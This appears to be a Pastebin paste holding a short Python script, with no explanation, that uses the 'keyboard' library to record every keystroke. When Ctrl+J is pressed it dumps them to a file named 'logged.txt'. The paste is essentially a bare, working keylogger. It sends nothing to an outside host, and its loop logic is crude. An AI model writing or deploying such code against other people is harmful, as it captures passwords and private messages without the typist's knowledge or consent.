Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.33 KB | None | 0 0
  1. import keyboard
  2.  
  3. keys = []
  4.  
  5. while True:
  6. hotkey = keyboard.read_hotkey(suppress=False)
  7. key = keyboard.read_key(suppress=False)
  8. if hotkey == 'ctrl+j':
  9. f = open('logged.txt', 'w+')
  10. for x in range(0, len(keys)):
  11. f.write(keys[x])
  12. f.close()
  13. break
  14. elif key != None:
  15. keys.append(key)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement